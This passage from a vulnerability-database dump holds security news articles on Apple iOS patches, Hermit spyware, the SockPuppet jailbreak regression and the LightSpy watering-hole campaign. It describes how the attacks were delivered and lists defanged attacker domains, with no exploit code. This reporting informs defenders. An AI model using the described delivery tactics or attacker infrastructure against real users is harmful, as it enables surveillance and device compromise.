rewards.\n\nBesides CVE-2021-30955, a total of five Kernel and four [IOMobileFrameBuffer](<https://iphonedev.wiki/index.php/IOMobileFramebuffer>) (a kernel extension for managing the screen [framebuffer](<https://en.wikipedia.org/wiki/Framebuffer>)) flaws have been remediated with the latest updates \u2014\n\n * **CVE-2021-30927 and CVE-2021-30980**: A use after free issue that could allow a rogue application to run arbitrary code with kernel privileges.\n * **CVE-2021-30937**: A memory corruption vulnerability that could allow a rogue application to run arbitrary code with kernel privileges.\n * **CVE-2021-30949**: A memory corruption issue that could allow a rogue application to run arbitrary code with kernel privileges.\n * **CVE-2021-30993**: A buffer overflow issue that could allow an attacker in a privileged network position may be able to execute arbitrary code\n * **CVE-2021-30983**: A buffer overflow issue that could allow an application to run arbitrary code with kernel privileges.\n * **CVE-2021-30985**: An out-of-bounds write issue that could allow a rogue application to run arbitrary code with kernel privileges.\n * **CVE-2021-30991**: An out-of-bounds read issue that could allow a malicious application to run arbitrary code with kernel privileges.\n * **CVE-2021-30996**: A [race condition](<https://en.wikipedia.org/wiki/Race_condition>) that could allow a rogue application to run arbitrary code with kernel privileges.\n\nOn the macOS front, the Cupertino-based company patched an issue with the Wi-Fi module (CVE-2021-30938) that a local user on the system could exploit to cause unexpected system termination and even read kernel memory. The tech giant credited Xinru Chi of Pangu Lab with reporting the flaw.\n\nAlso fixed are seven security flaws in the WebKit component \u2014 CVE-2021-30934, CVE-2021-30936, CVE-2021-30951, CVE-2021-30952, CVE-2021-30953, CVE-2021-30954, and CVE-2021-30984t \u2014 that could potentially result in a scenario where processing specially crafted web content may lead to arbitrary code execution.\n\nAdditionally, Apple also resolved a couple of issues affecting Notes and Password Manager apps in iOS that could enable a person with physical access to an iOS device to access contacts from the lock screen and retrieve stored passwords without any authentication. Last but not least, a bug in FaceTime has been squashed, which otherwise may have leaked sensitive user information through Live Photos metadata.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-12-14T06:10:00", "type": "thn", "title": "Latest Apple iOS Update Patches Remote Jailbreak Exploit for iPhones", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30927", "CVE-2021-30934", "CVE-2021-30936", "CVE-2021-30937", "CVE-2021-30938", "CVE-2021-30949", "CVE-2021-30951", "CVE-2021-30952", "CVE-2021-30953", "CVE-2021-30954", "CVE-2021-30955", "CVE-2021-30980", "CVE-2021-30983", "CVE-2021-30984", "CVE-2021-30985", "CVE-2021-30991", "CVE-2021-30993", "CVE-2021-30996"], "modified": "2021-12-15T03:10:11", "id": "THN:1F783FB04C34EEEF700F6B7C43ED8FA3", "href": "https://thehackernews.com/2021/12/latest-apple-ios-update-patches-remote.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2022-06-24T11:07:31", "description": "Google is warning victims in Kazakhstan and Italy that they are being targeted by Hermit, a sophisticated and modular spyware from Italian vendor RCS Labs that not only can steal data but also record and make calls.\n\nResearchers from Google Threat Analysis Group (TAG) revealed details [in a blog post](<https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/>) Thursday by TAG researchers Benoit Sevens and Clement Lecigne about campaigns that send a unique link to targets to fake apps impersonating legitimate ones to try to get them to download and install the spyware. None of the fake apps were found on either Apple\u2019s or Google\u2019s respective mobile app stores, however, they said.\n\n\u201cWe are detailing capabilities we attribute to RCS Labs, an Italian vendor that uses a combination of tactics, including atypical drive-by downloads as initial infection vectors, to target mobile users on both iOS and Android,\u201d a Google TAG spokesperson wrote in an email to Threatpost sent Thursday afternoon.\n\nAll campaigns that TAG observed originated with a unique link sent to the target that then tries to lure users into downloading Hermit spyware in one of two ways, researchers wrote in the post. Once clicked, victims are redirected to a web page for downloading and installing a surveillance app on either Android or iOS.\n\n\u201cThe page, in Italian, asks the user to install one of these applications in order to recover their account,\u201d with WhatsApp download links specifically pointing to attacker-controlled content for Android or iOS users, researchers wrote.\n\n## **Collaborating with ISPs**\n\nOne lure employed by threat actors is to work with the target\u2019s ISP to disable his or her mobile data connectivity, and then masquerade as a carrier application sent in a link to try to get the target to install a malicious app to recover connectivity, they said.\n\nResearchers outlined in a separate blog post by Ian Beer of [Google Project Zero](<https://googleprojectzero.blogspot.com/>) a case in which they discovered what appeared to be an iOS app from Vodafone but which in fact is a fake app. Attackers are sending a link to this malicious app by SMS to try to fool targets into downloading the Hermit spyware.\n\n\u201cThe SMS claims that in order to restore mobile data connectivity, the target must install the carrier app and includes a link to download and install this fake app,\u201d Beer wrote.\n\nIndeed, this is likely the reason why most of the applications they observed in the Hermit campaign masqueraded as mobile carrier applications, Google TAG researchers wrote.\n\nIn other cases when they can\u2019t work directly with ISPs, threat actors use apps appearing to be messaging applications to hide Hermit, according to Google TAG, confirming what Lookout previously discovered in its research.\n\n## **iOS Campaign Revealed**\n\nWhile Lookout previously shared details of how Hermit targeting Android devices works, Google TAG revealed specifics of how the spyware functions on iPhones.\n\nThey also released details of the host of vulnerabilities\u2014two of which were zero-day bugs when they were initially identified by Google Project Zero\u2014that attackers exploit in their campaign. In fact, Beer\u2019s post is a technical analysis of one of the bugs: [CVE-2021-30983](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30983>) internally referred to as Clicked3 and [fixed](<https://support.apple.com/en-us/HT212976>) by Apple [in December 2021](<https://threatpost.com/apple-ios-updates-iphone-13-jailbreak-exploit/177051/>).\n\nTo distribute the iOS application, attackers simply followed Apple instructions on how to distribute proprietary in-house apps to Apple devices and used the itms-services protocol with a manifest file with com.ios.Carrier as the identifier, researchers outlined.\n\nThe resulting app is signed with a certificate from a company named 3-1 Mobile SRL that was enrolled in the Apple Developer Enterprise Program, thus legitimizing the certificate on iOS devices, they said.\n\nThe iOS app itself is broken up into multiple parts, researchers said, including a generic privilege escalation exploit wrapper which is used by six different exploits for previously identified bugs. In addition to Clieked3, the other bugs exploited are:\n\n * [CVE-2018-4344 ](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-4344>)internally referred to and publicly known as LightSpeed;\n * [CVE-2019-8605](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8605>) internally referred to as SockPort2 and publicly known as SockPuppet;\n * [CVE-2020-3837](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-3837>) internally referred to and publicly known as TimeWaste;\n * [CVE-2020-9907](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9907>) internally referred to as AveCesare; and\n * [CVE-2021-30883](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30883>) internally referred to as Clicked2, [marked](<https://support.apple.com/en-us/HT212846>) as being exploited in-the-wild by Apple in October 2021.\n\nAll exploits used before 2021 are based on public exploits written by different jailbreaking communities, researchers added.\n\n## **Broader Implications**\n\nThe emergence of Hermit spyware shows how threat actors\u2014often working as state-sponsored entities\u2014are pivoting to using new surveillance technologies and tactics following the blow-up over repressive regimes\u2019 use of Israel-based NSO Group\u2019s [Pegasus spyware](<https://threatpost.com/protecting-phones-from-pegasus-like-spyware-attacks/167909/>) in cyberattacks against dissidents, activists and NGOs, as well as the [murders](<https://www.theguardian.com/world/2021/jul/18/nso-spyware-used-to-target-family-of-jamal-khashoggi-leaked-data-shows-saudis-pegasus>) of [journalists](<https://cpj.org/2021/07/pegasus-project-risk-corruption-reporters/>).\n\nIndeed, while use of spyware like Hermit may be legal under national or international laws, \u201cthey are often found to be used by governments for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers and opposition party politicians,\u201d Google TAG researchers wrote.\n\nThe United States [blacklisted](<https://threatpost.com/pegasus-spyware-blacklisted-us/175999/>) NSO Group over the activity, which drew international attention and ire. But it apparently has not stopped the proliferation of spyware for nefarious purposes in the slightest, according to Google TAG.\n\nIn fact, the commercial spyware industry continues to thrive and grow at a significant rate, which \u201cshould be concerning to all Internet users,\u201d researchers wrote.\n\n\u201cThese vendors are enabling the proliferation of dangerous hacking tools and arming governments that would not be able to develop these capabilities in-house,\u201d they said.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-24T11:02:00", "type": "threatpost", "title": "Google Warns Spyware Being Deployed Against Android, iOS Users", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4344", "CVE-2019-8605", "CVE-2020-3837", "CVE-2020-9907", "CVE-2021-30883", "CVE-2021-30983"], "modified": "2022-06-24T11:02:00", "id": "THREATPOST:65CDAAFAA856DA03BD3115E8BC92F1A0", "href": "https://threatpost.com/google-hermit-spyware-android-ios/180062/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-27T18:09:36", "description": "Apple lovers who haven\u2019t yet updated to [iOS 15](<https://www.macworld.com/article/357166/ios-15-update-right-away-or-wait.html>), you may want to pop into Settings to freshen up your iPhone now: Apple has released several critical security updates that might light a fire under your britches.\n\nOn Monday and Tuesday, Apple released iOS 14.8.1, iPadOS 14.8.1, watchOS 8.1 and tvOS 15.1, patching 24 CVEs in total.\n\n[Apple\u2019s security page](<https://support.apple.com/en-us/HT212868>) has all the details about the CVEs, which include multiple issues in iOS components that, if exploited, could lead to arbitrary code execution, sometimes with kernel privileges that would let an attacker get to the heart of the operating system.\n\n## Critical, Easily/Already Exploited Bug\n\nIn one case \u2013 a memory-corruption issue in IOMobileFrameBuffer for Apple TV \u2013 Apple said that it\u2019s \u201caware of a report that this issue may have been actively exploited\u201d \u2013 a \u201cmaybe\u201d that researchers confirmed.\n\nThis one is particularly worrisome, given that researchers already found that the flaw is exploitable from the browser, making it \u201cperfect for one-click & waterholing mobile attacks,\u201d mobile security firm ZecOps said earlier this month.\n\n> We can confirm that the recently patched iOS 15.0.2 vulnerability, CVE-2021-30883, is also accessible from the browser: perfect for 1-click & water-holing mobile attacks. This vulnerability is exploited in the wild. Update as soon as possible. <https://t.co/dhogxTM6pT>\n> \n> \u2014 ZecOps (@ZecOps) [October 12, 2021](<https://twitter.com/ZecOps/status/1447804721771606016?ref_src=twsrc%5Etfw>)\n\nIn a [watering-hole attack,](<https://threatpost.com/watering-holes-asian-ethnic-flash-update-decoy/154323/>) a threat actor plants malware on websites that could attract a target, in hopes that somebody will eventually drop in and get infected.\n\nUnderstandably, Apple keeps a lid on details that might help more attackers do damage. What we do know is that this bug could allow an application to execute arbitrary code with kernel privileges.\n\nMalwarebyte Labs has a nice [rundown](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/10/update-now-apple-patches-bugs-in-ios-and-ipados/>) on other security-related bugs that stand out in the two dozen CVEs Apple addressed this week.\n\n## Why Did Apple Let iOS 14 Users Stay Put?\n\nEarlier this year, [Apple announced](<https://www.apple.com/ios/ios-15/features/>) that it was giving users a choice: They could update to iOS 15 as soon as it\u2019s released, or they could stay on iOS 14 but still get important security updates until they\u2019re ready to upgrade.\n\nWhy the choice? Some [suggested](<https://www.intego.com/mac-security-blog/why-doesnt-apple-want-people-to-upgrade-to-ios-15/>) it might have to do with an \u201curban legend\u201d about Apple slowing down older phones on purpose in order to prod people into upgrading.\n\nMaybe that\u2019s just an oft-circulated conspiracy theory, but it\u2019s rooted in legal comeuppance, at least with regards to battery life: Apple admitted to slowing down phones in 2017 as a way to prevent old batteries from randomly shutting devices off. In November of last year, the company was [fined $113 million](<https://www.washingtonpost.com/technology/2020/11/18/apple-fine-battery/>) to settle an investigation into what was known as iPhone \u201cbatterygate.\u201d\n\n_**Check out our free **_[_**upcoming live and on-demand online town halls**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {}, "published": "2021-10-27T16:14:24", "type": "threatpost", "title": "Apple Patches Critical iOS Bugs; One Under Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-30883"], "modified": "2021-10-27T16:14:24", "id": "THREATPOST:D0D55E3C83FB920181D2FBF6C90C64E4", "href": "https://threatpost.com/apple-patches-ios-bugs/175803/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-06-04T22:06:26", "description": "Apple\u2019s most recent operating system update, iOS 12.4, accidentally unpatched a fix that had been issued in a previous update \u2014 leaving devices vulnerable to code execution and privilege-escalation attacks. The flaw also allows phones to be jailbroken \u2014 and a public jailbreak has just been released to take advantage of it on phones running the latest version of iOS.\n\nThe blunder, first reported by [Motherboard](<https://www.vice.com/en_us/article/qvgp77/hacker-releases-first-public-iphone-jailbreak-in-years>), means that Apple devices that are fully updated to the most recent iOS version are open to a vulnerability that had previously been [patched in May](<https://threatpost.com/apple-patches-intel-side-channel-ios-macos/144743/>) as part of the iOS 12.3 update.\n\nThe flaw, ([CVE-2019-8605](<https://support.apple.com/en-us/HT210118>)), a use-after-free issue existing in the kernel, could enable a malicious application to execute arbitrary code with system privileges in iOS devices, including the iPhone 5s and later, iPad Air and later, and the iPod touch sixth generation.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe bug was initially discovered by Google Project Zero research Ned Williamson, who after the initial patch published an [exploit for iOS 12.2](<https://twitter.com/nedwilliamson/status/1149376365495373824?lang=en>), dubbed \u201cSockPuppet,\u201d that utilized the vulnerability to \u201cachieve the kernel_task port on iOS 12.2 on [the]iPhone 6S+.\u201d\n\nWhile Williamson\u2019s exploit offered the ability to jailbreak in iOS 12.2, on Aug. 18 a hacker under the alias \u201cPwn20wnd\u201d [on Github](<https://github.com/pwn20wndstuff/Undecimus/releases>) released various fine-tuned jailbreaks for the latest version of iOS, based on SockPuppet.\n\nAfter its release, iPhone users [flocked to Twitter](<https://twitter.com/search?q=iPhone%20jailbreak&src=typed_query>) to show their successful attempts at jailbreaking their own phones \u2014 a method to escape Apple\u2019s limitations on what apps and code can run on the iPhone. It\u2019s useful for those wanting to install custom code, add features or perform security research outside the purview of the Apple ecosystem.\n\n\u201cYou will have to upgrade to iOS 12.4 if you are on iOS 12.3 to use the latest jailbreak \u2013 Enjoy,\u201d said Pwn20wnd on Twitter.\n\n> Security researchers: Are you waiting for Apple's research iPhone program? You can save a lot of time by picking one up at an Apple Store right now and running the [#unc0ver](<https://twitter.com/hashtag/unc0ver?src=hash&ref_src=twsrc%5Etfw>) [#jailbreak](<https://twitter.com/hashtag/jailbreak?src=hash&ref_src=twsrc%5Etfw>) on it.\n> \n> \u2014 Pwn20wnd is reviving 0-Days (@Pwn20wnd) [August 19, 2019](<https://twitter.com/Pwn20wnd/status/1163545842642386944?ref_src=twsrc%5Etfw>)\n\nPublic iOS jailbreaks are not common, especially for up-to-date phones \u2013 in fact, this is the first public jailbreak released in years that addresses fully updated phones.\n\nMalicious attacks on jailbroken phones allow privilege escalation and full hacks of Apple devices; and because this vulnerability could be exploited via a malicious app to jailbreak phones, security researchers like Stefan Esser are warning iPhone users with the most up-to-date patch to be extra cautious of any apps that they download \u2013 even those from the official App Store.\n\n> I hope people are aware that with a public jailbreak being available for the latest iOS 12.4 people must be very careful what Apps they download from the Apple AppStore. Any such app could have a copy of the jailbreak in it.\n> \n> \u2014 Stefan Esser (@i0n1c) [August 19, 2019](<https://twitter.com/i0n1c/status/1163400360020598784?ref_src=twsrc%5Etfw>)\n\nBlake Collins, research analyst at SiteLock said in an email that the jailbreak makes phones an easier target for malware and spyware.\n\n\u201cIn this instance with iOS 12.4, there was an internal misstep where important code was removed,\u201d Blake Collins, research analyst at SiteLock, said in an email. \u201cWith this update, phones can be jailbroken again and are now vulnerable to spyware or worse. The implications for this are far-reaching.\u201d\n\nIn addition, the vulnerability makes the personal and private data on vulnerable iPhones more accessible \u201cin unforeseen ways,\u201d he said.\n\n\u201cPhotos, emails, phone numbers and possibly even banking data could be stolen if you installed an app that was able to exploit these escalated privileges,\u201d said Collins. \u201cFor those who want to have the flexibility that comes with a jailbroken phone, it\u2019s critical that you\u2019re educated on all the vulnerabilities and security issues this opens up for you.\u201d\n\nApple has not responded to a request for comment from Threatpost on the incident, or whether a patch is being released.\n\n**_Interested in more on the internet of things (IoT)? Don\u2019t miss our free _**[**_Threatpost webinar_**](<https://attendee.gotowebinar.com/register/3926374015661345537?source=ART>)**_, \u201cIoT: Implementing Security in a 5G World.\u201d Please join Threatpost senior editor Tara Seals and a panel of experts as they offer enterprises and other organizations insight about how to approach security for the next wave of IoT deployments, which will be enabled by the rollout of 5G networks worldwide. _****_[Click here to register.](<https://attendee.gotowebinar.com/register/3926374015661345537?source=ART>)_**\n", "cvss3": {}, "published": "2019-08-20T15:22:05", "type": "threatpost", "title": "Apple iOS Patch Blunder Opens Updated iPhones to Jailbreaks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-20T15:22:05", "id": "THREATPOST:FF3CF3FA3B1ABB90E090DC157C18D35C", "href": "https://threatpost.com/apple-ios-patch-blunder-iphones-jailbreaks/147519/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-06-03T21:41:32", "description": "A recently discovered, mass-targeted watering-hole campaign has been aiming at Apple iPhone users in Hong Kong \u2013 infecting website visitors with a newly developed custom surveillance malware. The bad code \u2013 the work of a new APT called \u201cTwoSail Junk\u201d \u2013 is delivered via a multistage exploit chain that targets iOS vulnerabilities in versions 12.1 and 12.2 of Apple\u2019s operating system, according to researchers.\n\nWatering-hole campaigns make use of malicious websites that lure visitors in with targeted content \u2013 cyberattackers often post links to that content on discussion boards and on social media to cast a wide net. When visitors click through to a malicious website, background code will then infect them with malware.\n\nIn this case, the campaign uses links posted on multiple forums that purport to lead to various news stories that would be of interest to Hong Kong residents, according to a pair of research notes from [Kaspersky](<https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/>) and [Trend Micro](<https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/>). The links lead to both newly created websites set up specifically for this campaign by the operators, as well as legitimate sites that have been compromised. In both cases, a hidden iframe is used to load and execute malicious code.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThat code contains exploits for known and patched Apple iOS vulnerabilities \u2013 and has an endgame of installing a custom, proprietary backdoor spyware, dubbed LightRiver by Kaspersky and lightSpy by Trend Micro.\n\nThe backdoor not only allows remote execution of shell commands, but it also contains a variety of espionage modules (researchers\u2019 names for the backdoor both come from the malware\u2019s module manager, which is called \u201clight\u201d).\n\nThe modules include functions for exfiltrating contacts, GPS location data, call records, logs of recent Wi-Fi hotspots that the phone has connected to, browser histories, SMS messages, and even the iOS keychain with stored passwords for apps and websites. It also gathers hardware fingerprinting information and data about the user\u2019s local Wi-Fi network and local network IP address.\n\nAnd, it targets messenger applications, like Telegram, QQ and WeChat, to lift correspondence from the victims.\n\nDespite the deep level of surveillance afforded by the malware, researchers said that the campaign doesn\u2019t appear to be a targeted effort, apart from focusing on Hong Kong residents (50 percent of whom use iPhones).\n\n\u201cThis aims to compromise as many mobile devices as possible for device-backdooring and surveillance,\u201d according to Trend Micro.\n\n\u201cBoth ours and previous reporting from others have documented TwoSail Junk\u2019s less precise and broad use of forum posts and replies,\u201d Kaspersky researchers, who identified the threat actor as the TwoSail Junk APT, noted. However, researchers noted that there could be a dissident aspect of the campaign: \u201cThese forum posts direct individuals frequenting these sites to pages hosting iFrames served from their exploit servers. We add Telegram channels and Instagram posts to the list of communication channels abused by these attackers. These sites and communication mediums are known to be frequented by some activist groups.\u201d\n\n**Timeline**\n\nThe attacks were first identified on January 10 by Kaspersky, and began in earnest, via a massive distribution campaign, on February 18. The attacks have continued into March: Trend Micro last week spotted related forum posts that pretended to link to a schedule for protests in Hong Kong.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/26135259/lightspy-deployment.png>)\n\nSource: Kaspersky\n\nKaspersky meanwhile has observed the APT tinkering with the code on an ongoing basis, modifying some exploit chain components on both February 7 and on March 3 and extending the number of supported devices. Now, the exploits used targets a variety of iPhone models, from the iPhone 6S up to the iPhone X.\n\n\u201cThe actor was actively changing implant components,\u201d according to the Kaspersky analysis, which noted that the first observed version of one of the exploits resembled a proof of concept (PoC). \u201cBased on our observations of these changes over a relatively short time frame, we can assess that the actor implemented a fairly agile development process, with time seemingly more important than stealthiness or quality.\u201d\n\n**The Watering Holes**\n\nSome of the URLs used in the campaign lead to a malicious website created by the attacker. Kaspersky noted that the initial watering hole site (hxxps://appledaily.googlephoto[.]vip/news[.]html) seen in January was designed to mimic a well-known Hong Kong-based newspaper called Apple Daily. This was done by simply copying HTML content from the original, researchers said.\n\nThe site in turn contained three iframes that pointed to different sites, according to the analyses.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/26135450/lightspy-landing-page.png>)\n\nWatering-hole landing page (click to enlarge). Source: Kaspersky.\n\n\u201cStarting on February 18, the actors began utilizing a series of invisible iframes to redirect potential victims to the exploit site as well as the intended legitimate news site from the lure,\u201d Kaspersky researchers wrote.\n\nTrend Micro added: \u201cThe only visible iframe leads to a legitimate news site, which makes people believe they are visiting the said site. One invisible iframe was used for website analytics; the other led to a site hosting the main script of the iOS exploits.\u201d\n\nLinks to these malicious sites were posted on four different forums, in posts that include the headline of a given news story, accompanying images and a link to the fake news site.\n\n\u201cThe topics used as lures were either sex-related, clickbait-type headlines or news related to the COVID-19 disease,\u201d wrote researchers at Trend Micro. \u201cWe do not believe that these topics were targeted at any users specifically; instead they targeted the users of the sites as a whole.\u201d\n\nIn other cases, a legitimate site was copied and injected with a malicious iframe.\n\n\u201cThere are many techniques that attackers can use to compromise websites \u2013 SQL injection, cross-site scripting (XSS) and social engineering techniques are the most commonly used,\u201d Trend Micro researcher William Gamazo Sanchez told Threatpost. \u201cHowever, for this particular attack we did not focus on techniques they used against the websites. We have reasons to believe they would employ several techniques, though.\u201d\n\n**The Exploit Chain**\n\nOnce a visitor hits the malicious watering-hole site, the full exploit chain involves a silently patched Safari bug (which works on multiple recent iOS versions) and a customized kernel exploit, researchers said.\n\nThe silently patched Safari bug does not have an associated CVE, according to Trend Micro, but its exploitation leads to the exploitation of an [infamous, known kernel vulnerability](<https://threatpost.com/apple-fixes-ios-flaw-that-opened-iphones-to-jailbreaks/147717/>) used to gain root privileges.\n\nThe flaw ([CVE-2019-8605](<https://support.apple.com/en-us/HT210118>)), a use-after-free issue existing in the kernel, could enable a malicious application to execute arbitrary code with system privileges. The flaw allows phones to be jailbroken, in essence. Jailbreaks are useful for those wanting to install custom code, add features or perform security research outside the purview of the Apple ecosystem \u2013 but can also expose phones to spyware and malware attacks.\n\nWhen the kernel exploit (jailbreak) is triggered, a function called payload.dylib proceeds to download the multiple data exfiltration modules outlined before; as well as functions associated with startup and loading, and instructions for connecting to the hardcoded location of the command-and-control (C2) server.\n\nThe aforementioned \u201clight\u201d function serves as the main control for the malware, and is capable of loading and updating the other modules, according to the research.\n\n\u201c[The malware] is a custom job that is very well-designed with a modular architecture,\u201d Gamazo Sanchez told Threatpost. \u201cMore sophisticated than the average malware variant, [especially when it comes to] the level of sophistication to exfiltrate data. Most notably, the actors have clear targets in mind and designed a mechanism and distribution pattern to reach these targets based on their computing habits, to ensure they will not be noticed immediately.\u201d\n\niPhone users are protected from the malware if they have updated to the latest iOS version.\n\n**Links to Android Campaign**\n\nThe iOS effort appears to be connected to a previous, similar 2019 campaign aimed at Android users, according to researchers at both firms. In that offensive, links to malicious apps were found on various public Hong Kong-related Telegram channels.\n\nThat Android malware family was first advertised as a calendar app containing protest schedules in Hong Kong. It was disseminated via the \u201cwinuxhk\u201d and \u201cbrothersisterfacebookclub\u201d Telegram channels and Instagram posts in late November 2019, Kaspersky researchers noted.\n\nThe message lure in Chinese translated to: \u201cThe Hong Kong People Calendar APP is online ~~~ Follow the latest Hong Kong Democracy and Freedom Movement. Click to download and support the frontline. Currently only Android version is available.\u201d\n\nOnce installed, the rogue app made requests for sensitive permissions, and set about harvesting and exfiltrating contacts, text messages, the user\u2019s location and the names of stored files, researchers said.\n\nThe new iOS campaign and the older Android campaign are linked via their infrastructure, according to the Trend Micro analysis: The Android download and C2 servers used the same domain name (hkrevolution[.]club) as one of the watering holes used by the iOS component.\n\n**Atrribution**\n\nWhile Kaspersky is calling the APT group behind the effort \u201cTwoSail Junk,\u201d researchers there said that the operators are likely tied to other, well-known threat actors.\n\n\u201cWe have hints from known backdoor callbacks to infrastructure about clustering this campaign with previous activity,\u201d according to the firm\u2019s analysis. \u201cAnd we are working with colleagues to tie LightRiver with prior activity from a long running Chinese-speaking APT group, previously reported on as Spring Dragon/Lotus Blossom/Billbug(Thrip), known for their Lotus Elise and Evora backdoor malware.\u201d\n\nFor instance, further technical analysis by Kaspersky of the previous Android campaign showed there to be two subzones of the URL used for serving the malicious apps.\n\n\u201cResolving for C2 resources, we worked with partners to pivot into a handful of \u201cevora\u201d malware samples\u2026that [also] use poorgoddaay[.]com subzones for their C2,\u201d Kaspersky noted. \u201cThese new evora backdoors are 99 percent similar as rated by our Kaspersky Threat Attribution Engine to evora backdoors previously deployed by SpringDragon.\u201d\n\nThe researchers said they also saw other evora malware samples calling back to these same subnets while targeting specific organizations in Hong Kong \u2013 lending further credence to the idea that TwoSail Junk is affiliated with SpringDragon.\n\n\u201cThis particular framework and infrastructure is an interesting example of an agile approach to developing and deploying surveillance framework in Southeast Asia,\u201d according to the Kaspersky analysis. \u201cThis innovative approach is something we have seen before from SpringDragon, and LightRiver targeting geolocation at least falls within previous regional targeting of SpringDragon/LotusBlossom/Billbug APT, as does infrastructure and evora backdoor use.\u201d\n\nFor its part, Trend Micro researchers agree that the evidence points to a sophisticated attacker.\n\n\u201cIt is safe to say this is not a financially motivated campaign,\u201d Gamazo Sanchez told Threatpost. \u201cThere are indicators that this form of attack can be considered sophisticated: Attacks targeting iOS is relatively uncommon over the years given the stringent measures built in in these devices; uses of \u2018silent patches\u2019 makes it difficult to find and track known and addressed bugs; an added layer of sophistication is seen with the customization attackers used to match the model and iOS version of the target devices.\u201d\n\nHe added that while the campaign, which Trend Micro calls Operation Poison News, is focused on Hong Kong for now, investigations are ongoing into the operators\u2019 future plans. Kaspersky also said that there\u2019s evidence that other versions of the backdoor are under development.\n\n\u201cThe userConfig variable indicates other possible platforms that may have been targeted by the same actors, such as Linux, Windows and routers,\u201d according to the analysis.\n\n[](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-03-26T17:49:40", "type": "threatpost", "title": "Emerging APT Mounts Mass iPhone Surveillance Campaign", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-8605"], "modified": "2020-03-26T17:49:40", "id": "THREATPOST:DCE54029E2039178B6F2685D0BF8C518", "href": "https://threatpost.com/emerging-apt-mounts-mass-iphone-surveillance-campaign/154192/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-06-11T21:49:28", "description": "Apple has released an emergency patch fixing a 